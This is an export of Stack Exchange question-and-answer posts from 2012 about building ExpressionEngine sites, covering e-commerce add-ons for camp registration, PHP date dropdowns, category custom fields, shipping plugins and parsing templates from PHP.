  <row Id="1326" PostTypeId="1" CreationDate="2012-12-07T20:39:13.297" Score="1" ViewCount="112" Body="&lt;p&gt;I am looking for some advice for a kids camp looking to take online registrations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will require:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;parents creating a member account&lt;/li&gt;&#xA;&lt;li&gt;Parents adding kids (as channel entries I suspect)&lt;/li&gt;&#xA;&lt;li&gt;Adding Camps (products)&lt;/li&gt;&#xA;&lt;li&gt;Checkout/payment processing&lt;/li&gt;&#xA;&lt;li&gt;Invoice/receipt&lt;/li&gt;&#xA;&lt;li&gt;Tracking kids registered in different camps&lt;/li&gt;&#xA;&lt;li&gt;Parents can use same info next year when registering kids again with the option to edit their kids details.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My first thought was CartThrob but would love some advice if other modules are out there I am not aware of.&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="150" LastEditDate="2012-12-09T06:14:34.037" LastActivityDate="2012-12-09T06:14:34.037" Title="Seeking input for camp registration site" Tags="|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1327" PostTypeId="2" ParentId="778" CreationDate="2012-12-07T20:40:55.997" Score="2" Body="&lt;p&gt;This was solved but opening port 30000 on my server&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2012-12-07T20:40:55.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1328" PostTypeId="2" ParentId="1326" CreationDate="2012-12-07T20:57:51.597" Score="2" Body="&lt;p&gt;I did something pretty similar awhile ago, and managed to do it all with EE Simple Commerce.  Most of what you are looking to do can easily be managed using the Member module (parents) and normal Channels (camps and children).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two limitations of using Simple Commerce - it is PayPal only, and you do not get options on the product.  If you need more than that, you may well need to go with a full blown cart app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roi&lt;/p&gt;&#xA;" OwnerUserId="564" LastActivityDate="2012-12-07T20:57:51.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1329" PostTypeId="1" AcceptedAnswerId="1330" CreationDate="2012-12-07T21:01:54.187" Score="3" ViewCount="2592" Body="&lt;p&gt;Wondering how I would use either EE or PHP to dynamically generate a list of years starting from this year. I'm doing this for a credit card expiry select box that needed to use EE global variables for the label, which is why i couldn't just use the fields spit back from the gateway.  And of course their example code is just a static list starting with 2012, so I'd rather the list be dynamic for say 10 years starting this year. Can someone tell me how to do this?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="28" LastEditDate="2012-12-08T06:19:40.653" LastActivityDate="2012-12-08T06:19:40.653" Title="How to generate a list of years dynamically starting with this year" Tags="|cartthrob|date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1330" PostTypeId="2" ParentId="1329" CreationDate="2012-12-07T21:05:40.843" Score="3" Body="&lt;p&gt;Assuming PHP is enabled in your template, this should get you started...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;credit-card-expiration-year&quot; id=&quot;credit-card-expiration-year&quot;&amp;gt;&#xA;  &amp;lt;?php&#xA;   for($i = date(&quot;Y&quot;); $i &amp;lt; date(&quot;Y&quot;)+10; $i++){&#xA;     echo &quot;&amp;lt;option&amp;gt;&quot; . $i . &quot;&amp;lt;/option&amp;gt;&quot;;&#xA;   }&#xA;  ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-12-07T21:05:40.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1331" PostTypeId="2" ParentId="1329" CreationDate="2012-12-07T21:18:00.823" Score="7" Body="&lt;p&gt;I wrote a simple plugin to do this and you can also use this plugin (I did not write rangee): &lt;a href=&quot;http://devot-ee.com/add-ons/rangee&quot;&gt;http://devot-ee.com/add-ons/rangee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-12-07T21:18:00.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1332" PostTypeId="2" ParentId="1318" CreationDate="2012-12-07T21:30:48.077" Score="4" Body="&lt;p&gt;Postmaster can definitely do this provided you use a mailing service, and not using the built-in communication module. You could however write an email service for Postmaster that reused your mailing list vs. deferring to MailChimp or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I advocate using MailChimp or CampaignMonitor over another services because sending email is otherwise unreliable. You will find that people simple don't receive some messages, even though the server sent them. PHP doesn't do email very well by default, so it's best to use one of these services. And to use these services with small amounts of email won't cost any money anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Postmaster can handle all your template and allow you to use channel entries to create new campaigns. You can use whatever fieldtypes you desired, so the data entry portion is really great since clients are already use to it. The real challenge in my mind will be how to reuse the native mailing list module. Other users have requested support for it, but to honest, I can't even figure out how it works (and it's not very good anyway). If you decide to go with an email service, Postmaster includes all the tags needed for signup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Postmaster may seem like overkill, the template parsing isn't an easy task. All the options and configuration are really what make Postmaster as good as it is. For instance, you could setup Postmaster to send &quot;draft&quot; campaigns when an &quot;open&quot; (default) status, but only send to the real subscriber list with a &quot;Publish&quot; status. The possibilities are endless.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-07T21:30:48.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1333" PostTypeId="2" ParentId="1309" CreationDate="2012-12-07T21:54:26.977" Score="5" Body="&lt;p&gt;I just wrote an extension for you which will let you do this. It's called &lt;a href=&quot;http://metasushi.com/downloads/ee/pub/post_block/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Post Block&lt;/a&gt;. It allows you to specify a set of POST or GET fields which must contain certain values (or not contain certain values). If these conditions are not met, an error is shown and the form submission is blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The condition you'd create in this case would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;collection [not in list] contact_us|support|newsletter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This looks like this in the configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fpxJS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This add-on will go up on &lt;a href=&quot;http://devot-ee.com/add-ons/post-block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Devot:ee&lt;/a&gt; soon, but you can download it directly from my site &lt;a href=&quot;http://metasushi.com/downloads/ee/pub/post_block/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;: &lt;a href=&quot;http://devot-ee.com/add-ons/post-block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Devot:ee&lt;/a&gt; page is now up.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2012-12-27T04:16:22.770" LastActivityDate="2012-12-27T04:16:22.770" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1334" PostTypeId="1" AcceptedAnswerId="1335" CreationDate="2012-12-07T22:06:55.203" Score="0" ViewCount="89" Body="&lt;p&gt;If a client is interested in a copyright range in their footer rather than just current years, how can i make this dynamic in EE?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-07T23:21:50.797" Title="How do I create a set it and forget it, self updating copyright footer?" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1335" PostTypeId="2" ParentId="1334" CreationDate="2012-12-07T22:11:10.053" Score="7" Body="&lt;p&gt;I figure this quick little example would help someone so I've asked and answered my own question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Copyright &amp;amp;copy; {if '{current_time format=&quot;%Y&quot;}' &amp;gt; &quot;2010&quot;}2010 - {/if}{current_time format=&quot;%Y&quot;}. ACME Inc. All rights reserved.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) your start year is 2010 - could be whatever four-digit year you want (since that's what the date comparison is looking for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) yes, this is a complex conditional - natively it winds up having to be in order to get the format parameter in there. You could probably do this more efficiently with current time as a stashed variable, but i wanted to simply show a basic native approach here first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) this will only insert the range IF the current year is greater than the start year. Otherwise, it will only show the current year.  Something like this only makes sense if you know for sure the client wants to have a dynamically-set range in their copyright footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2012-12-07T23:21:50.797" LastActivityDate="2012-12-07T23:21:50.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1336" PostTypeId="2" ParentId="1299" CreationDate="2012-12-08T00:06:10.397" Score="5" Body="&lt;p&gt;It's not possible to do using the CP. However, it's possible to write a simple shipping plugin, and group your shipping rules for various countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could put this into a file named &lt;code&gt;store/libraries/store_shipping/store_shipping_example.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Store_shipping_example extends Store_shipping_driver&#xA;{&#xA;    /**&#xA;     * Calculate the shipping total for an order.&#xA;     * Use print_r($order) to see all the fields available to you.&#xA;     * The fields available also match those in the Checkout tag:&#xA;     * http://exp-resso.com/docs/store/tags/checkout.html&#xA;     *&#xA;     * @param array $order&#xA;     */&#xA;    public function calculate_shipping($order)&#xA;    {&#xA;        $eu_countries = array('uk', 'ie', 'fr', 'de', 'es', 'it');&#xA;&#xA;        if (in_array($order['shipping_country'], $eu_countries))&#xA;        {&#xA;            return 15.00;&#xA;        }&#xA;        else&#xA;        {&#xA;            return 30.00;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-08T00:06:10.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1337" PostTypeId="1" AcceptedAnswerId="1339" CreationDate="2012-12-08T00:06:10.893" Score="2" ViewCount="1535" Body="&lt;p&gt;I have just gone to add some custom fields to my category group when I was shocked to find that there was no way to define a rich text field. There are only several basic field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin which adds a richer selection of field types for categories?&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="28" LastEditDate="2012-12-08T16:40:42.747" LastActivityDate="2013-12-19T15:58:33.940" Title="Can I use custom field types for custom category fields?" Tags="|categories|custom-fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1338" PostTypeId="2" ParentId="1337" CreationDate="2012-12-08T01:10:14.353" Score="6" Body="&lt;p&gt;I'm afraid your answer is no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE does not make it's custom field types available outside of the Channels functionality and it would be a nice feature to have in other parts of the system such as for Members or some addons like ones that add form functionality.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why you see several addons such as Profile:Edit and Zoo Visitor actually create a relationship between the default Member functionality and the Channels, so that you can have more control over managing your users custom fields with the benefits of EE's custom field types.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not seen any similar solution for Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some unsatisfying options to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add HTML directly to your Category fields.  They may not have a Wysiwyg but they will accept HTML.&lt;/li&gt;&#xA;&lt;li&gt;Experiment with the &quot;Default Text Formatting&quot; setting which allows you to modify the output of the category fields with a plugin that you have installed&lt;/li&gt;&#xA;&lt;li&gt;Consider creating a channel and using a relationship field instead&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Like I said, all unsatisfying!&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2012-12-08T01:10:14.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1339" PostTypeId="2" ParentId="1337" CreationDate="2012-12-08T01:13:02.000" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Editor&lt;/a&gt; allows a WYSIWYG for the &lt;em&gt;category description field&lt;/em&gt; only. Not sure if that will be enough for your needs, but it might be worth looking into. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a picture of what that will look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wWtq9.png&quot; alt=&quot;Editor in categories&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="16" LastEditDate="2012-12-09T00:49:01.660" LastActivityDate="2012-12-09T00:49:01.660" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1340" PostTypeId="2" ParentId="1326" CreationDate="2012-12-08T03:37:24.683" Score="4" Body="&lt;p&gt;I build essentially this exact site earlier this year (http://schoolhouseofwonder.org). I followed the structure you laid out - Parents as members, children &amp;amp; camps as channel entries. I used Zoo Visitor to handle member registration, which I find to be the best of the many modules that have recently popped up for that purpose. For the e-commerce aspect, I used Exp:resso Store, although CartThrob would have worked just as well. I wrote my own extension to display camp rosters on the entry edit page, which I have released as VZ Buyers. Otherwise, CartThrob includes similar functionality by way of saving order line-items as channel entries and creating a custom template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also look into the moreEvents module, which sits on top of CartThrob and adds additional registration functionality. I haven't used it yet, but it looks promising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to message me if you want to discuss any of this directly.&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2012-12-08T03:37:24.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1341" PostTypeId="1" AcceptedAnswerId="1756" CreationDate="2012-12-08T04:01:30.030" Score="3" ViewCount="98" Body="&lt;p&gt;having an issue with the &lt;code&gt;{path:smileys}&lt;/code&gt; tag in the submission form.html in the Forum module not showing the smileys in the popup window, but showing the entire homepage within the popup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've checked javascript, no issues.&#xA;site is on a subdomain (dev.domain.com) and all other forum functions work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the entire link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href='javascript:void(0)' onclick=&quot;window.open('{path:smileys}', '_blank', 'width=700,height=180,scrollbars=yes,status=yes,screenx=40,screeny=120,resizable=yes');&quot;&amp;gt;{lang:smileys}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;want to replace that above code to a lightbox, but path isn't working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure what could be causing this issue, so any pointers or tips will help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="268" LastEditDate="2012-12-10T03:42:11.760" LastActivityDate="2012-12-17T18:15:36.113" Title="Possible idea why the smileys window for forum module shows homepage?" Tags="|forum|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1342" PostTypeId="2" ParentId="1341" CreationDate="2012-12-08T05:02:52.687" Score="-5" Body="&lt;p&gt;Seems the issue ended up being poorly coded templates by previous dev.&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2012-12-08T05:02:52.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1343" PostTypeId="1" AcceptedAnswerId="1351" CreationDate="2012-12-08T08:44:33.287" Score="-2" ViewCount="152" Body="&lt;p&gt;I want to have multiple stores using EE to manage their sites and their inventory. The inventory details are quite complex in terms the data model (probably more complex than what Channels can support). Additionally, I want the inventory data stored in a separate database (separate from where EE stores everything); all the stores will be saving their inventory data in this database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to take advantage of EE to act as a CMS, but I'm not sure if there is something I can build on top of EE to do what I need. I'm new to EE and have not fully looked into building add ons. Will I be able to do what I want?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="28" LastEditDate="2012-12-08T16:33:33.867" LastActivityDate="2012-12-08T22:29:44.747" Title="Is an add on appropriate for this?" Tags="|add-on|ecommerce|" AnswerCount="2" CommentCount="3" ClosedDate="2012-12-10T10:11:18.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="1344" PostTypeId="2" ParentId="1343" CreationDate="2012-12-08T10:00:44.757" Score="2" Body="&lt;p&gt;I've built something similar for a motorcycle shop that retrieves all it's catalogue prices from a range of suppliers. I used &lt;a href=&quot;http://cartthrob.com/&quot; rel=&quot;nofollow&quot;&gt;Cartthrob&lt;/a&gt; to build the store on top of EE, but you might also want to try &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Exp:resso&lt;/a&gt;, that has a less steeper learning curve. Concerning inventory: with Cartthrob you can split inventory in a separate table per entry, like different sizes, so there's a range of options there. One thing I discovered is that it does not support backorder functionality, so I was unable to change delivery time on that basis. I haven't looked at Exp:resso about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article options, like sizes, work best with Pixel &amp;amp; Tonic Matrix. Cartthrob has it's own system, but Matrix can more easily be synchronised through csv or xml, using another add-on called Datagrab (with Solspace importer as an alternative, but not for csv to matrix) . So that's what we ended up using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if you want to serve the different stores from the same EE install, you would need the Multiple Site Manager to do this.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2012-12-08T10:00:44.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1345" PostTypeId="2" ParentId="1337" CreationDate="2012-12-08T17:24:22.600" Score="4" Body="&lt;p&gt;A number of people have decided to abandon native EE categories and replace it with a combination of &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic's Playa&lt;/a&gt; and channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa is an add-on that allows you to create complex (or simple) relationships between entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea with that is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Forget about using EE categories&lt;/li&gt;&#xA;&lt;li&gt;Create a 'Categories' channel where each entry represents a category&lt;/li&gt;&#xA;&lt;li&gt;Add whatever custom fields you require to the 'Categories' channel&lt;/li&gt;&#xA;&lt;li&gt;In the channel(s) that you want to use categories on, create a Playa custom field which references the entries in your 'Categories' channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;br&gt;&#xA;Mark Croxton has released &lt;a href=&quot;http://devot-ee.com/add-ons/tax-playa&quot; rel=&quot;nofollow&quot;&gt;Tax Playa&lt;/a&gt; which lets you use this technique alongside Taxonomy to &lt;em&gt;really&lt;/em&gt; create a category replacement.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-12-19T15:58:33.940" LastActivityDate="2013-12-19T15:58:33.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1346" PostTypeId="2" ParentId="1291" CreationDate="2012-12-08T18:10:16.923" Score="0" Body="&lt;p&gt;In the absence of any other post have you though about using the categories tag pair within the channel:entries tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#id154&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#id154&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you could then filter the categories tag on 'show_group=' and/or 'show='&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2012-12-08T18:10:16.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1347" PostTypeId="1" AcceptedAnswerId="1354" CreationDate="2012-12-08T18:55:33.280" Score="6" ViewCount="2782" Body="&lt;p&gt;Is there a way to evaluate an ExpressionEngine template using PHP in a custom plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;a href=&quot;http://devot-ee.com/add-ons/widgets&quot; rel=&quot;noreferrer&quot;&gt;Widgets&lt;/a&gt; plugin and want to create a custom widget type. I would like to define the widget output using an ExpressionEngine template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    echo evaluateExpressionEngineTemplate('{exp:navee:nav nav_title=&quot;main-nav&quot;}');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="536" LastEditorUserId="150" LastEditDate="2012-12-09T01:16:17.460" LastActivityDate="2019-04-09T17:00:01.020" Title="How can I manually parse template code from PHP?" Tags="|templates|plugin|widget|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1348" PostTypeId="2" ParentId="1291" CreationDate="2012-12-08T19:10:27.830" Score="2" Body="&lt;p&gt;There is a global variable for the categories associated with the currently logged in member. Not quite what you're looking for by the sounds of it though,, but it depends on what you're looking to use the category for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{visitor:global:categories_piped}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps a little.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-08T19:10:27.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1349" PostTypeId="2" ParentId="360" CreationDate="2012-12-08T21:09:13.350" Score="0" Body="&lt;p&gt;To answer your second question of &quot;what conditional do I use to see if there are any child pages?&quot;, there are two types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, if the child pages are listings there is a global variable in Structure that does just what you need - {structure:is:listing:parent}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It returns 1 or blank for the current page, so you could use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{if structure:is:listing:parent==&quot;1&quot;}&#xA;   Do what you gots to do.&#xA;{/if}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're looking for actual Structure child pages, you could use another global variable - {structure:child_ids}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{if structure:child_ids!=&quot;&quot;}&#xA;   Do more of what you gots to do&#xA;{/if}&lt;/pre&gt;&#xA;" OwnerUserId="522" LastActivityDate="2012-12-08T21:09:13.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1351" PostTypeId="2" ParentId="1343" CreationDate="2012-12-08T22:29:44.747" Score="2" Body="&lt;p&gt;Actually, I suspect you want to look at e-commerce add-ons to accomplish what you say. There are an amount of these, which you can find via Google or devot-ee.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're the (only) ones which are going to be organized around inventories in the sense you say you want. And all the other features of 'stores'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a complex need, and you want it done right, since if selling is not done on the website, you still want what the seller wants: detail and accuracy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'd do from this basis is simply not show the elements which have to do with purchase. If you can't do it by any other configuration, you could do that via css. But find a way with configuration or template modification, I think, even though the elements wouldn't function without setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go this way, then when the shop says, 'but we want to sell online after all', you're also ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I actually feel this is a reasonable question as posed - moderators and down-voters may want to think about it, especially as it's a kind of unusual thing to want to do, but not probably one only one developer or customer desires. And it does likely take 'code' to arrange it.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2012-12-08T22:29:44.747" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1352" PostTypeId="1" CreationDate="2012-12-09T00:05:07.760" Score="2" ViewCount="105" Body="&lt;p&gt;The add-ons Member Activation Redirect and Twomile Login Redirect don't play nicely together - has anyone gotten that to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the &quot;welcome&quot; page set under the first extension gets hijacked by the &quot;last page&quot; set with Login Redirect. I've tried setting Activation Redirect to have a lower priority (4) in exp_extensions, but that didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some background from somebody who had the same problem: &lt;a href=&quot;http://devot-ee.com/add-ons/support/member-activation-redirect/viewthread/6897&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/member-activation-redirect/viewthread/6897&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas? Thx!&lt;/p&gt;&#xA;" OwnerUserId="283" LastActivityDate="2012-12-10T16:28:56.553" Title="Member Activation Redirect conflicts with Twomile Login Redirect" Tags="|add-on|members|login|extension|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1354" PostTypeId="2" ParentId="1347" CreationDate="2012-12-09T01:09:22.167" Score="14" Body="&lt;p&gt;I'm not familiar with Widgets, so this may or may not be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are writing a plugin, generally you don't need to parse your own template code. Simply call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$variables = array(array('name' =&amp;gt; 'adrian'));&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($template, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will parse any variables, loops, or conditionals inside your template. Third party plugins in the tagdata code will be left intact, and parsed automatically later on in the EE parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you really need to fully parse your own template code (for example, I have used this when sending emails), you need to set up your own instance of the EE template library, and duplicate some of the code which EE uses internally (this is pretty much the code we use in Store):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$email_body = '&amp;lt;!-- your template data here --&amp;gt;';&#xA;$tag_vars = array(array('name' =&amp;gt; 'adrian')); // simple variables to parse directly&#xA;&#xA;// back up existing TMPL class&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('template');&#xA;$OLD_TMPL = isset($this-&amp;gt;EE-&amp;gt;TMPL) ? $this-&amp;gt;EE-&amp;gt;TMPL : NULL;&#xA;$this-&amp;gt;EE-&amp;gt;TMPL = new EE_Template();&#xA;&#xA;// parse simple variables&#xA;$email_body = $this-&amp;gt;EE-&amp;gt;template-&amp;gt;parse_variables($email_body, $tag_vars);&#xA;&#xA;// pretty lame that we need to manually load snippets&#xA;$result = $this-&amp;gt;db-&amp;gt;select('snippet_name, snippet_contents')&#xA;    -&amp;gt;where('site_id', $this-&amp;gt;config-&amp;gt;item('site_id'))&#xA;    -&amp;gt;or_where('site_id', 0)&#xA;    -&amp;gt;get('snippets')-&amp;gt;result_array();&#xA;&#xA;$snippets = array();&#xA;foreach ($result as $row) {&#xA;    $snippets[$row['snippet_name']] = $row['snippet_contents'];&#xA;}&#xA;&#xA;// merge snippets into global variables&#xA;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars = array_merge($this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars, $snippets);&#xA;&#xA;// parse email contents as complete template&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse($email_body);&#xA;$email_body = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_globals($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;final_template);&#xA;&#xA;// restore old TMPL class&#xA;$this-&amp;gt;EE-&amp;gt;TMPL = $OLD_TMPL;&#xA;&#xA;return $email_body; // this is your parsed template&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2012-12-09T01:18:52.547" LastActivityDate="2012-12-09T01:18:52.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
